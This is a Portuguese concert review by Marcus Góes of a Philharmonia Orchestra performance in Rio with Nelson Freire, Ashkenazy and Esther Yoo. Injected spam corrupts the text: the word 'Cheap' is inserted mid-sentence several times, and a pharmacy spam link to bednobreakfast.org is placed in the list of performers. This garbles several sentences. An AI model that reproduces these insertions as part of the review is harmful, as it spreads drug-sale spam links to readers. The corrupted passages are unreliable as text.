CríticaLateral

Philarmonia com Nélson Freire no TMRJ

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Vieram ao palco do TMRJ a Philarmonia Orchestra, conjunto inglês por muitos intitulado “a orquestra que em seu ramo representa a Inglaterra”, o pianista Nelson Freire, o regente Vladmir Ashkenazy, que é também famoso pianista, e a violinista Cheap http://bednobreakfast.org/cost-of-zestoretic/ Cheap Esther Yoo. A apresentação quase simultânea de duas ou mais orquestras famosas e internacionais insensivelmente nos leva a comparações, e a Filarmônica de Dresden apresentada uma semana antes se mostrou muito superior à Philarmonia, mesmo tendo esta agradado ao público e sido sempre um conjunto uniforme, afinado e de belas sonoridades.

No entanto, para o público a estrela da noite foi o nosso pianista Nelson Freire, que nos deu uma edição exemplar da Imperador Cheap , de Beethoven, tanto na execução virtuosística sem jaça como na interpretação emocionantemente apaixonada. Com Nelson, tivemos Beethoven. Com a Philarmonia, ao concerto faltou o vigor, a força, o “slancio” das largas melodias e dos magnificentes acordes.

Com aspecto de preenchimento de programa, a Philarmonia nos trouxe The Lark Ascending, de Vaugham Williams, e a Sinfonia n. 5 Cheap , de Sibelius (que andou ouvindo muito Wagner…), ambos números de interesse bem menor que a Imperador, o que desequilibrou o programa. Em sua apresentação em São Paulo, a Philarmonia apresentara antes a Sinfonia n. 5, de Tchaikovsky, no lugar da de Sibelius, muito vulgarizada mas nem tanto causadora de desequilíbrios ao lado de peças também muito executadas e vulgarizadas.

O regente Ashkenazy seguiu a onda e não passou de eficiente e suficiente. A violinista Yoo idem.

Antigamente, nos programas de rádio, para verificar qual candidato havia sido mais aplaudido, o locutor pedia medição pelo “palmômetro”. Se pedíssemos o palmômetro no concerto que ora comentamos, o eleito seria de longe Nelson Freire, com seu tradicional passinho miúdo e seu gênio de pianista, de musicista e de grande e natural artista, que toca no TMRJ há mais de metade da existência do teatro. Com o “palmômetro” sempre a seu favor…

 

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Marcus Góes
Musicólogo, crítico de música e dança e pesquisador. Tem livros publicados também no exterior. Considerado a maior autoridade mundial sobre Carlos Gomes.